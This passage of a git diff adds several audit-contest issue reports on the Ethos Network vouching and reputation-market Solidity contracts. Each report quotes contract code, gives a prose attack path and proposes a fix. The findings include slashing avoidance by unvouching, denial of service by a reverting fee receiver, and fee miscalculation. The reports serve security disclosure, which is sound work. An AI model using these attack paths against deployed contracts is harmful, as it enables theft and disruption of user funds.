ReentrancyGuard, but `AccessControl` inherits from `SignatureControl` which implements two variants and mapping also without a GAP. + +[utils/SignatureControl.sol#L11-L15](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/SignatureControl.sol#L11-L15) +```solidity +abstract contract SignatureControl is Initializable { + address public expectedSigner; + address public signatureVerifier; + + mapping(bytes => bool) public signatureUsed; + ... +``` + +This will cause storage collision when upgrading contracts, in case of adding another contract to access control or inheriting another contract before `ReentrancyGuard` contract, which will lead to storage collision. + +In case of collision in Reentrancy variable, the reentrancy modifier will get corrupted, and not work. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Use the Upgradable Reentrancy version, and make a gap in `SignatureControl` or use random Storage Slot. diff --git a/493.md b/493.md new file mode 100644 index 0000000..a94374e --- /dev/null +++ b/493.md @@ -0,0 +1,132 @@ +Dapper Chartreuse Wolf + +High + +# User could not or never (in some condition) `markUnhealthy` a `vouchId` + +### Summary + +A user could not or never (in some condition) mark a `vouch` as `unhealthy` because the [EthosVouch::markUnhealthy](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L496) has `whenNotPaused` modifier. + +### Impact + +It will never be possible to mark a `vouchId` as `unhealthy` (if paused for 24 hours). +Because `paused time` will affect the `_vouchShouldBePossibleUnhealthy`'s time (more described on the PoC) + +So as a result a `vouchId` becomes `healthy` `forever`, +unless the admin update the `unhealthyResponsePeriod` as possible unhealthy's `block.timestamp <= v.activityCheckpoints.unvouchedAt + unhealthyResponsePeriod` + +[EthosVouch::_vouchShouldBePossibleUnhealthy](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L857C1-L858C67) + +```solidity + /** + * @notice Fails if vouch cannot be set as unhealthy. + * @dev Checks if vouch can be set as unhealthy. + * @param vouchId Vouch Id. + */ + function _vouchShouldBePossibleUnhealthy(uint256 vouchId) private view { + Vouch storage v = vouches[vouchId]; +@> bool stillHasTime = block.timestamp <= + v.activityCheckpoints.unvouchedAt + unhealthyResponsePeriod; + + if (!v.archived || v.unhealthy || !stillHasTime) { +@> revert CannotMarkVouchAsUnhealthy(vouchId); + } + } +``` + +[EthosVouch::updateUnhealthyResponsePeriod](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L655C1-L663C4) + +```solidity + /** + * @dev Updates time period for unhealthy response. + * @param unhealthyResponsePeriodDuration Time period. + */ + function updateUnhealthyResponsePeriod( + uint256 unhealthyResponsePeriodDuration + ) external onlyAdmin whenNotPaused { + unhealthyResponsePeriod = unhealthyResponsePeriodDuration; + } +``` + +### * But it is not a good behavior of a great protocol to `update time` `only because` this problem occurs. +### * Even if the contract is `paused` for `1 hour` or only `5 minutes`, then the user actually gets only `23 hours 55 mins` to mark `unhealthy` which breaks Ethos Network's promises. + +### User should get the whole `24 hours` or the whole `unhealthyResponsePeriod` time for `mark unhealthy` as promised in `Etho's Whitepaper` + +### PoC + +* Not possible to call [EthosVouch::markUnhealthy](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L496) when the contract is `paused`. + +```solidity + /** + * @dev Marks vouch as unhealthy. + * @param vouchId Vouch Id. + */ + function markUnhealthy(uint256 vouchId) public whenNotPaused { <@ + Vouch storage v = vouches[vouchId]; + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnhealthy(vouchId); + _vouchShouldBelongToAuthor(vouchId, profileId); + v.unhealthy = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unhealthyAt = block.timestamp; + + emit MarkedUnhealthy(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` + +* From Ethos Network Whitepaper we can see [Whitepaper->vouch#unvouch](https://whitepaper.ethos.network/ethos-mechanisms/vouch#unvouch) + +```solidity +Unvouch +You may withdraw your staked funds at any time by unvouching. +You cannot modify the amount staked in a vouch without withdrawing the entire vouch. + +👇👇 See those lines +If you are mutually vouched (3,3) and unvouch, +the person who was vouched can mark a vouch as "unhealthy" within 24 hours to signal to the network the vouch ended on poor terms. +``` + +So we have only `24 hours` left after a vouch was unvouched. +Now if the contract was `pasued` for this `24 hours` then the time limit to mark unhealthy will passed and make imposible to mark the vouch as `unhealthy`, which I show on the `Impact` section of the report. + +So now it is 100% proven that `whenNotPaused` modifier is causing this issue. + +### Mitigation + +Remove `whenNotPaused` modifier from those functions + +```diff + /** + * @dev Marks vouch as unhealthy. + * @param vouchId Vouch Id. + */ +- function markUnhealthy(uint256 vouchId) public whenNotPaused { ++ function markUnhealthy(uint256 vouchId) public { + Vouch storage v = vouches[vouchId]; + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + + ...OTHER_CODES... +} +``` + +```diff + /** + * @dev Convenience function that combines unvouch and mark unhealthy to avoid multiple transactions. + * @param vouchId Vouch Id. + */ +- function unvouchUnhealthy(uint256 vouchId) external whenNotPaused { ++ function unvouchUnhealthy(uint256 vouchId) external { + unvouch(vouchId); + markUnhealthy(vouchId); + } +``` + +#### * Also the [EthosVouch::unvouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452) should not have `whenNotPaused` modifier, which is a totally different kind of problem that I described in my another report on this contest. \ No newline at end of file diff --git a/494.md b/494.md new file mode 100644 index 0000000..bc31aee --- /dev/null +++ b/494.md @@ -0,0 +1,52 @@ +Exotic Wooden Pheasant + +Medium + +# `EthosVouch` uses `ReentrancyGuard` instead of `ReentrancyGuardUpgradeable`, creating incompatibility with upgradeability pattern + +### Summary + +`EthosVouch` inherits the following contracts: + +[EthosVouch.sol#L67)](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67) +```javascript +contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, ReentrancyGuard { +``` + +We can see that openzeppelin's [ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol) is inherited instead of [ReentrancyGuardUpgradeable](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/utils/ReentrancyGuardUpgradeable.sol). + +This is problematic, as `EthosVouch` follows the `UUPSUpgradeable` [proxy pattern](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L259). + +Using `ReentrancyGuard` instead of `ReentrancyGuardUpgradeable` can lead to corrupt upgradeability such as storage collisions, as `ReentrancyGuardUpgradeable` is specifically designed to avoid this by ensuring there is no uninitialized states or misaligned storage. + +### Root Cause + +Using `ReentrancyGuard` instead of `ReentrancyGuardUpgradeable` + +## Internal pre-conditions + +If admin decides to upgrade and add another storage slot, it can lead to storage corruption + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +N/A + +### Impact + +Corrupt upgradeability, storage collision/storage corrupted while upgrading + +### PoC + +N/A + +### Mitigation + +Use [ReentrancyGuardUpgradeable](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/utils/ReentrancyGuardUpgradeable.sol) instead and call `__ReentrancyGuard_init()` when initializing \ No newline at end of file diff --git a/495.md b/495.md new file mode 100644 index 0000000..2a3140b --- /dev/null +++ b/495.md @@ -0,0 +1,192 @@ +Proud Chartreuse Whale + +Medium + +# Transfer of ownership of address can cause one Profile unvouch for another Profile + +### Summary + +With the current implementation ,if the ownership of address with which a profile vouched gets transferred to another Profile, then the later profile can unvouch the vouches of the first profile and get the funds of the first profile as the user wont be able to change the `authorAddress` of a vouch + +### Root Cause + +In EthosVouch.vouchByProfileId() , when a particular profile vouches, the authorAddress is set and after that it cannot be changed. And if the ownership of the address changes to another profile , then with the current implementation, user will never be able to unvouch and this also leads to another profile unvouching this profile's vouch. + +```Solidity + function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata + ) public payable whenNotPaused nonReentrant { + // validate author profile + uint256 authorProfileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + + // pls no vouch for yourself + if (authorProfileId == subjectProfileId) { + revert SelfVouch(authorProfileId, subjectProfileId); + } + + // users can't exceed the maximum number of vouches + if (vouchIdsByAuthor[authorProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsByAuthor[authorProfileId].length, + "Exceeds author vouch limit" + ); + } + + // validate subject profile + if (subjectProfileId == 0) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } + (bool verified, bool archived, bool mock) = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).profileStatusById(subjectProfileId); + + // you may not vouch for archived profiles + // however, you may vouch for verified AND mock profiles + // we allow vouching for mock profiles in case they are later verified + if (archived || (!mock && !verified)) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } + + // one vouch per profile per author + _vouchShouldNotExistFor(authorProfileId, subjectProfileId); + + // don't exceed maximum vouches per subject profile + if (vouchIdsForSubjectProfileId[subjectProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); + } + + // must meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + + // store vouch details + uint256 count = vouchCount; + vouchIdsByAuthor[authorProfileId].push(count); + vouchIdsByAuthorIndex[authorProfileId][count] = vouchIdsByAuthor[authorProfileId].length - 1; + vouchIdsForSubjectProfileId[subjectProfileId].push(count); + vouchIdsForSubjectProfileIdIndex[subjectProfileId][count] = + vouchIdsForSubjectProfileId[subjectProfileId].length - + 1; + + vouchIdByAuthorForSubjectProfileId[authorProfileId][subjectProfileId] = count; + vouches[count] = Vouch({ + archived: false, + unhealthy: false, + authorProfileId: authorProfileId, + authorAddress: msg.sender, + vouchId: count, + balance: toDeposit, + subjectProfileId: subjectProfileId, + comment: comment, + metadata: metadata, + activityCheckpoints: ActivityCheckpoints({ + vouchedAt: block.timestamp, + unvouchedAt: 0, + unhealthyAt: 0 + }) + }); + + emit Vouched(count, authorProfileId, subjectProfileId, msg.value); + vouchCount++; + } + +``` +```Solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` + +```Solidity + // --- Unvouch Functions --- + + /** + * @dev Unvouches vouch. + * @param vouchId Vouch Id. + */ + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` +[RepoLink](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L330-L481) + +This needs to be handled especially because **the increaseVouch() function lets other addresses of the first profile also to increase the particular vouch amount** and later if the initial vouched address ownership is changed then the user can never unvouch and this also lets another profile unvouch the first profile's vouch and take up the entire vouch amount added by the first user + + +### Attack Path + +Say Alice has 3 addresses : addrA,addrB,addrC + +Alice vouches a profile say Alex using addrA say amount is 1 ETH +Then later Alice decides to increase vouch but this time user increases vouch from addrB and increases vouch to 5 ETH +And later increases vouch to 7 ETH from addrC + +And then later the ownership of addrA changed to another profile Bob(Alice deletes addrA and Bob registers addrA) + +Then the Alice can still increase the vouch using addrB and addrC but Alice will never be able to unvouch and also Bob will be able to unvouch and take up all the funds of Alice + + +### Impact + +Since User wont be able to change the authorAddress of a vouch and also since any address of the user can increase the vouch ,during transfer of the initial vouch address, the user will never be able to unvouch and another user will unvouch and take up the funds of the first user. + + + +### Mitigation + +Implement a function in which the users can change the authorAddress of a particular vouch so that during the transfer of ownership of the initial address ,the user can change the authorAddress to another address of the same profile so that user dont lose control over the vouch + +Also implement a check in unvouch() to check if the vouches[vouchId].authorProfileId and the profileId of msg.sender matches \ No newline at end of file diff --git a/496.md b/496.md new file mode 100644 index 0000000..4b88cf2 --- /dev/null +++ b/496.md @@ -0,0 +1,64 @@ +Radiant Seaweed Armadillo + +High + +# The `EthosVouch.unvouch` incorrectly checks that `msg.sender` is the creator of the vouch + +### Summary + +The `increaseVouch` function verifies that the vouch belongs to `msg.sender`. However, the `unvouch` function checks whether `msg.sender` is the creator of the vouch. This inconsistency in checks can lead to a denial of service (DoS) for the `unvouch` function. + +Multiple addresses can share the same profile. +If a user creates a vouch using an address and tries to unvouch with another address which shares the same profile, unvouching reverts. + +### Root Cause + +In the `EthosVouch.unvouch` function, it checks that `msg.sender` is the creator of the vouch from [L459](https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L459) + +```solidity +L459: if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } +``` + +It should check using the `_vouchShouldBelongToAuthor` function. + +```solidity + function _vouchShouldBelongToAuthor(uint256 vouchId, uint256 author) private view { + if (vouches[vouchId].authorProfileId != author) { + revert NotAuthorForVouch(vouchId, author); + } + } +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +This can cause the DoS of `unvouch` function. + +### PoC + +None + +### Mitigation + +```diff +- if (vouches[vouchId].authorAddress != msg.sender) { +- revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); +- } ++ uint256 profileId = IEthosProfile( ++ contractAddressManager.getContractAddressForName(ETHOS_PROFILE) ++ ).verifiedProfileIdForAddress(msg.sender); ++ _vouchShouldBelongToAuthor(vouchId, profileId); +``` diff --git a/497.md b/497.md new file mode 100644 index 0000000..b23edf1 --- /dev/null +++ b/497.md @@ -0,0 +1,92 @@ +Exotic Wooden Pheasant + +Medium + +# `EthosVouch` inherited `AccessControl` contract is missing `init()` call for `PausableUpgradeable` and `AccessControlEnumerableUpgradeable` + +### Summary + +`EthosVouch` follows the `UUPSUpgradeable` proxy pattern, and ensures to call `__accessControl_init` to properly set up access control for the inherited `AccessControl` contract: + +[EthosVouch.sol#L259-L289](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L259-L289) +```javascript + function initialize( + address _owner, + address _admin, + address _expectedSigner, + address _signatureVerifier, + address _contractAddressManagerAddr, + address _feeProtocolAddress, + uint256 _entryProtocolFeeBasisPoints, + uint256 _entryDonationFeeBasisPoints, + uint256 _entryVouchersPoolFeeBasisPoints, + uint256 _exitFeeBasisPoints + ) external initializer { + __accessControl_init( + _owner, + _admin, + _expectedSigner, + _signatureVerifier, + _contractAddressManagerAddr + ); + + __UUPSUpgradeable_init(); + ... + } +``` + +Looking at `__accessControl_init`: + +[AccessControl.sol#L45-L64](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/AccessControl.sol#L45-L64) +```javascript + function __accessControl_init( + address owner, + address admin, + address expectedSigner, + address signatureVerifier, + address contractAddressManagerAddr + ) internal onlyInitializing { + if (owner == address(0) || admin == address(0) || contractAddressManagerAddr == address(0)) { + revert ZeroAddress(); + } + + __signatureControl_init(expectedSigner, signatureVerifier); + + contractAddressManager = IContractAddressManager(contractAddressManagerAddr); + + _grantRole(OWNER_ROLE, owner); + _grantRole(ADMIN_ROLE, admin); + + // allowlistEnabled = false; + } +``` + +It is missing [__AccessControlEnumerable_init()](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/access/extensions/AccessControlEnumerableUpgradeable.sol#L31) and [__Pausable_init()](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/utils/PausableUpgradeable.sol#L56) calls. These must be called because they are inherited by `AccessControl` and used throughout the contract. + +### Root Cause + +Missing `__AccessControlEnumerable_init()` and `__Pausable_init()` calls while inheriting `PausableUpgradeable` and `AccessControlEnumerableUpgradeable` + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +N/A + +### Impact + +Corrupted upgradeability, failing to call parent initializers will lead to uninitialized state variables + +### PoC + +N/A + +### Mitigation + +Ensure to call `__Pausable_init()` and `__AccessControlEnumerable_init()` within `__accessControl_init` \ No newline at end of file diff --git a/498.md b/498.md new file mode 100644 index 0000000..59d4263 --- /dev/null +++ b/498.md @@ -0,0 +1,84 @@ +Exotic Wooden Pheasant + +Medium + +# Malicious validator can avoid slashing + +### Summary + +Regarding slashing, the [whitepaper](https://whitepaper.ethos.network/) states the following: + +`"If a validator acts in bad faith, anyone who vouches them is able to pledge ETH to propose a slashing. If validators confirm unethical actions, slashing removes up to 10% of staked ETH from the offender's value locked in the Ethos contract."` + +Once the slashing is confirmed, the designated slasher role calls the following function: + +[EthosVouch.sol#L520-L555)](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520-L555) +```javascript + function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + ... + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only slash active vouches +@> if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + ... +``` + +We can see that the slash only applies if the vouch is active (not archived). + +A malicious validator can unvouch last second to avoid slashing and safely withdraw their funds: + +[EthosVouch.sol#L452-L481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452-L481) +```javascript + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + ... + + v.archived = true; + ... + } +``` + +Depsite Base L2 being a private mempool, this can still be possible, for example a malicious sequencer can act in bad faith. + +### Root Cause + +Allowing immediate withdrawals despite the possibility of foreseeing slashing. + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +N/A + +### Impact + +Avoid slashing, thus mitigating incentive for validators to act in good faith, breaking protocol invariant + +### PoC + +N/A + +### Mitigation + +When a user decides to unvouch, create a timelock mechanism where they must wait 24 hours before they can withdraw their funds, and change how `v.archived == true` is used to determine slashing. \ No newline at end of file diff --git a/499.md b/499.md new file mode 100644 index 0000000..ac7a813 --- /dev/null +++ b/499.md @@ -0,0 +1,66 @@ +Exotic Wooden Pheasant + +Medium + +# Fees receiver can DoS vouches and slashes + +### Summary + +The README states the following regarding trusted entities: `"Fee receiver should not have any additional access (beyond standard users), though if the fee receiver is set to owner/admin that's fine."`. + +From that sentence it can be deduced that fee receiver is not always trusted since they should not have any additional access and they will not always be an owner/admin. + +Protocol fee is always sent to the `protocol fee receiver` directly during calls to vouch: + +[EthosVouch.sol#L883-L886](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L883-L886) +```javascript + function _depositProtocolFee(uint256 amount) internal { + (bool success, ) = protocolFeeAddress.call{ value: amount }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } +``` + +Also during slashing: + +[EthosVouch.sol#L547-L550)](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L547-L550) +```javascript + if (totalSlashed > 0) { + // Send slashed funds to protocol fee address + (bool success, ) = protocolFeeAddress.call{ value: totalSlashed }(""); + if (!success) revert FeeTransferFailed("Slash transfer failed"); + } +``` + +The protocol fee address can revert these external calls (i.e revert in receive() function) and DoS vouches and/or slashing. + +### Root Cause + +External call to `protocolFeeAddress` in each vouch and slash call + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +1. User calls vouch +2. ETH is sent to `protocolFeeAddress`, triggers `receive()` function +3. `protocolFeeAddress` reverts within `receive()` function, causing DoS + +### Impact + +Denial of Service, fee receiver having additional access to cause harm to the protocol + +### PoC + +N/A + +### Mitigation + +Use pull method over push method, so instead of making an external call to `protocolFeeAddress`, creating an internal accounting mechanism so the `protocolFeeAddress` can collect the fees themselves. + +Ensure to also be aware of this in `ReputationMarket.sol`, as the issue can apply there as well. \ No newline at end of file diff --git a/500.md b/500.md new file mode 100644 index 0000000..2ec75c2 --- /dev/null +++ b/500.md @@ -0,0 +1,38 @@ +Flat Silver Boa + +Medium + +# the `protocolFee` should get decreased from `marketFunds[]` when user sell votes + +### Summary + +The values inside `marketFunds[]` are incorrect, because the value of `protocolFee` has not decreased. + +### Root Cause + +In [ReputationMarket.sol#sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522) only decrease the tally market funds by `fundsReceived` + `marketFunds[profileId] -= fundsReceived;` + However, in the same transaction the `fundsReceived` is sent out to the user, but there is also the `protocolFee` is transferred to the `protocolFeeAddress` (check the sub-call to `applyFees()`), Both of these two values are actually from the same `profileId` + check `_calculateSell()` + ```solidity + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + ``` + So, just subtracting `fundsReceived` from `marketFunds[profileId]` is not enough to keep the total market funds tracking correctly + +### Attack Path + +1- Every time the user calls `sellVotes()` the value of `marketFunds[]` will decreased less than it should +2- At some point, the `withdrawGraduatedMarketFunds()` will withdraw all that funds from a graduated market + +### Impact + +The `withdrawGraduatedMarketFunds()` will withdraw more funds than it should from the `ReputationMarket.sol` contract, leaving the contract in a deficit. + +### Mitigation + +After all, users sell the vote `marketFunds[profileId]` should only have the initial liquidity +So, you can update this line +```diff +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= fundsReceived + protocolFee; +``` \ No newline at end of file diff --git a/501.md b/501.md new file mode 100644 index 0000000..629b38a --- /dev/null +++ b/501.md @@ -0,0 +1,107 @@ +Tall Cream Finch + +Medium + +# Users may pay more fees than they should when buying votes. + +### Summary + +In `ReputationMarket.sol:960`, when calculating the buying fees, the amount used is the input parameter `funds`, not the actual amount spent by the user (i.e. the `fundsPaid` in `ReputationMarket.sol:978`), which is less than the former, resulting in the user paying unnecessary additional fees. +```solidity +// function: ReputationMarket.sol:_calculateBuy(...) + + uint256 fundsAvailable; +960: (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + +970: while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +978: fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L959-L982 + +In the `_calculateBuy` function, the fees are first calculated and deducted. The remaining funds (the `fundsAvailable` in `ReputationMarket.sol:960`) are used to pay for the prices of votes. This is to ensure that the actual ETH amount spent by the user does not exceed the input `funds`. + +According to `ReputationMarket.sol:970`, if after paying for some votes, `fundsAvailable > 0 && fundsAvailable < votePrice`, then the latest `fundsAvailable` will not be spent. As a result, the total funds spent by the user (the `fundsPaid` in `ReputationMarket.sol:978`) will be less than the initially input `funds`, because `fundsPaid = funds - fundsAvailable`. However, the fees have already been calculated based on the initially input `funds` and have not been updated after purchasing the votes, which leads to the user paying more fees than necessary. + +### Root Cause + +1. In `ReputationMarket.sol:960`, the total inputed `funds` are used to calculate the buying fees, instead of the actual spent funds, resulting in the user paying unnecessary additional fees. + + +### Internal pre-conditions + +1. The input funds are not totally spent in `_calculateBuy`, i.e. in `ReputationMarket.sol:970`, `fundsAvailable > 0 && fundsAvailable < votePrice` after paying for some votes. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This issue cause users to pay unnecessary additional fees, and the additional fees is non-trivial. + +To show the potential fees loss, we assume that: +1. The total fee basis points are 200 (2%, protocol fee + donation), +2. The latest `votePrice` becomes `0.02 ether` in `ReputationMarket.sol:970`. (The more votes are bought, the more `votePrice` will be.) +3. The latest `fundsAvailable` is `0.019 ether` in `ReputationMarket.sol:970`. +4. The fees loss to the user is `fundsAvailable * totalFeePercent = 0.019 * 2% = 0.00038 ether`. + +In reality, the larger the lastest `fundsAvailable`, and the higher the fee basis points are, the greater the fee loss for the user. + +### PoC + +_No response_ + +### Mitigation + +Use the total price of votes to update the fees after buying votes. +```solidity +// function: ReputationMarket.sol:_calculateBuy(...) + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } ++ (fundsAvailable, protocolFee, donation) = previewFees(fundsPaid, true); + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); +``` \ No newline at end of file diff --git a/502.md b/502.md new file mode 100644 index 0000000..9d906cb --- /dev/null +++ b/502.md @@ -0,0 +1,54 @@ +Fresh Flint Dinosaur + +High + +# Incorrect check of `msg.sender` in the `unvouch` function + +### Summary + +In the `EthosVouch` contract, the `unvouch` function checks whether `msg.sender` is the creator of the vouch, not check that the vouch belongs to `msg.sender` like `increaseVouch` function. + +This incorrect check can lead to DoS to unvouch. + +In the `EthosProfile.sol` contract, several addresses can share the same profile. + +```solidity +// Maps a user's address to their profile ID for quick lookups. This includes removed addresses; do not rely on it for verification. + mapping(address => uint256) public profileIdByAddress; +``` + +Users cannot unvouch with another address which shares the same profile. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/tree/main/ethos/packages/contracts/contracts/EthosVouch.sol#L459 + +```solidity +@> if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } +``` + +### Internal pre-conditions + +None + +### External pre-conditions + +1. None + +### Attack Path + +None + +### Impact + +Incorrect check of `msg.sender` can cause the DoS of `unvouch` function. + +### PoC + +None + +### Mitigation + +In the `unvouch` function, check the `msg.sender` using `_vouchShouldBelongToAuthor` function instead of current check diff --git a/503.md b/503.md new file mode 100644 index 0000000..6d0f281 --- /dev/null +++ b/503.md @@ -0,0 +1,39 @@ +Skinny Eggplant Canary + +Medium + +# Inconsistency in MAX_TOTAL_FEES Documentation and Code + +### Summary + +The documentation states that the maximum total fees cannot exceed 10%, but the code allows up to 100% (MAX_TOTAL_FEES = 10000 basis points). This discrepancy could deceive users and lead to unexpected fee deductions. + +### Root Cause + +in 'EthosVouch.sol' line in line 120 - uint256 public constant MAX_TOTAL_FEES = 10000; - here is maximum total fees 100%, varies from the maximum mentioned in documentation +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + + In a scenario where all fee components (entryProtocolFeeBasisPoints, entryDonationFeeBasisPoints, entryVouchersPoolFeeBasisPoints) are set to their maximum, users might lose the entirety of their funds to fees. + +### PoC + 